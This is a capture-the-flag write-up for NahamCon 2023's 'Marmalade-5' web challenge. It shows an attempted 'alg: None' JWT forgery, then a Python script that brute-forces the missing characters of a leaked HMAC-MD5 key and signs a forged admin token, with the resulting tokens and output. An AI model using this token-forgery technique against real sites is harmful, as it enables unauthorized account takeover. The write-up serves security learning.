Nahamcon CTF 2023 - Web - Marmalade-5
Difficulty: easy
Points: 322
Challenge
This is Nahamcon CTF’s first Web challenge. I was lucky enough to participate with great teammates the Hacktback team.
Solution
The challenge begins with a site asking us to enter our login. A message informs us that we’ll have to log in as admin to get the flag! Challenge accepted!
Let’s take a closer look at what happens after logging. The server gives us a connection cookie in the shape of a JWT token. Let’s start by decoding this cookie:
eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6Im5hbGlzY28ifQ.cwZDOWuvTIN36N1MxU6xIQ
{
"alg": "MD5_HMAC"
}
{
"username": "nalisco"
}
The cookie contains only our username and the signature algorithm is MD5_MAC. JWT tokens are common in CTF, and one of the simplest attacks is to replace the encryption algorithm with the None aglorithm in order to trick the server into bypassing the signature check. Let’s replace our cookie with this one:
eyJhbGciOiJOb25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0._pY7VIyW5p13znwvrM6DKQ
{
"alg": "None"
}
{
"username": "admin"
}
Unfortunately it didn’t work, as it would have been too simple… But the server still gave us an interesting answer. The encryption key starts with fsrwjcfszeg*****
Only 5 characters are missing to know the encryption key. Small enough to be guessed by bruteforcing. So we can write a python script that will generate all possible keys until we find the key used to sign the JWT token.
import hmac
from base64 import b64encode
key_first = "fsrwjcfszeg"
length_missing = 5
data = "eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6Im5hbGlzY28ifQ" # nalisco
payload = "eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0" # admin
def num_to_text(i):
ans = ""
while i:
ans += chr(ord('a') + i % 26)
i //= 26
return ans + 'a' * (length_missing - len(ans))
for i in range(26**length_missing):
key = key_first + num_to_text(i)
signature = b64encode(hmac.new(key.encode('utf-8'), data.encode('utf-8'), 'MD5').digest()).decode("utf-8").strip('=')
if "cwZDOWuvTIN36N1MxU6xIQ" == signature:
print("solve key :", key)
signature = b64encode(hmac.new(key.encode('utf-8'), payload.encode('utf-8'), 'MD5').digest()).decode("utf-8").strip('=')
print("Token admin:", payload + "." + signature)
break
Luckily, our script takes less than 3s to find the encryption key. We take this opportunity to sign the administrator token.
solve key : fsrwjcfszegvsyfa
Token admin: eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ho2USEpkq5cYai7UhMJ9pQ
Let’s add this cookie to our browser and boom! We’re logged in as admin and obtain the flag.